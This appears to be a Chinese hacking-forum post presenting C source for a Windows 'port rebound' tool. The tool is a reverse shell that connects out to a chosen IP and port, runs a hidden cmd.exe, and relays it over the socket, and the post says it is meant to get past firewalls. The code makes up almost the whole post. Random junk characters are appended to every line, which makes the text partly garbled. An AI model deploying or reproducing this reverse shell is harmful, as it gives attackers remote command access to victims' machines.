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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 oy;K_9\  
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/* ============================== > z^#  
Rebound port in Windows NT  fu9Cx  
By wind,2006/7 C*G=cs\i  
===============================*/ Vy|6E#U  
#include oaK%Ww6~  
#include t>uN'oCyC  
a<h1\ `H7  
#pragma comment(lib,"wsock32.lib") x1BobhU~Zl  
[S@}T zE  
void OutputShell(); 0V!l,pg  
SOCKET sClient; 1DA1N<'  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {Ions~cO)  
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void main(int argc,char **argv) ymNnkFv  
{ NVl [kw  
WSADATA stWsaData; zR32PG>9  
int nRet; yu;SH[{Wi  
SOCKADDR_IN stSaiClient,stSaiServer; _kY#D;`:r  
W.w)H@]7m  
if(argc != 3) r lKlpl  
{ U`]T~9I  
printf("Useage:\n\rRebound DestIP DestPort\n"); G5FaYL.7  
return; A%2:E^k(s  
} Y1arX^Zb  
?}B:  
WSAStartup(MAKEWORD(2,2),&stWsaData); 8L1ohj  
9Mgq1Z  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d|iy#hy"_  
Q*XE h  
stSaiClient.sin_family = AF_INET; q}FVzahv  
stSaiClient.sin_port = htons(0); {vE(l'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); aceZ3U>W  
C8L'si  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +L=*:e\j  
{ y8\S}E 0  
printf("Bind Socket Failed!\n"); @EoZI~  
return; )aX2jSp  
} %r iK+  
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stSaiServer.sin_family = AF_INET; 3.)b4T  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o#[ KS:Y  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Q_vW3xz  
U #~;)fZ  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :>81BuMvg  
{ b,IocD6v;P  
printf("Connect Error!"); .{S8f#p9T  
return; efY8M2  
} 1+7GUSIb  
OutputShell(); _e7-zg$/  
} [qoXMuC|P  
dgo3'ZO  
void OutputShell() 2:LHy[{5  
{ O0PJ6:9P  
char szBuff[1024]; m5D"A D  
SECURITY_ATTRIBUTES stSecurityAttributes; 9Ok9bC'?8@  
OSVERSIONINFO stOsversionInfo; (7DXRcr<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O6].*25  
STARTUPINFO stStartupInfo; "+uNmUUnm  
char *szShell; <A.W 8b7D  
PROCESS_INFORMATION stProcessInformation; > MG>=A  
unsigned long lBytesRead; wdvLx  
"3F;cCDv]  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); OD=!&LM  
#pHs@uvO  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _U{&@}3  
stSecurityAttributes.lpSecurityDescriptor = 0; &J!aw  
stSecurityAttributes.bInheritHandle = TRUE; ,Os? f:Y6  
7zTqNnPnf  
p*l$Wj  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); F6hmku>\1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); A!63p$VT;  
)J(q49  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .4l/_4,s_  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }!TL2er_  
stStartupInfo.wShowWindow = SW_HIDE; Bg8#qv  
stStartupInfo.hStdInput = hReadPipe; z 5]bia,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *{o UWt  
=?X$Yaw*  
GetVersionEx(&stOsversionInfo); T$= 4O9G  
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switch(stOsversionInfo.dwPlatformId) pA4*bO+  
{ ]h9!ei [  
case 1: [ REf>_R  
szShell = "command.com"; C}5M;|%3)  
break; u? fTL2~  
default: 1=2^90  
szShell = "cmd.exe"; u z\0cX_  
break; H UWxPIu  
}  H@uE>  
rx:z#"?I  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *V k ^f+5  
ZlKw_Sq:  
send(sClient,szMsg,77,0); ~svO*o Wa  
while(1) V,ZY*f0  
{ m?[5J)eR  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H0"=Vs,n  
if(lBytesRead) "gW7<ilw  
{  8%RI7Mg  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); D,ly#Nn  
send(sClient,szBuff,lBytesRead,0); OVk ~N)  
} uENdI2EY8y  
else M*pRv  
{ =22ALlxk  
lBytesRead=recv(sClient,szBuff,1024,0); A 699FQ  
if(lBytesRead<=0) break; B8I4[@m>w\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); SNT5Amz!  
} zX7q:Pt  
} )$x_!=@1  
$(q>mg:H  
return; ] q~<=   
}
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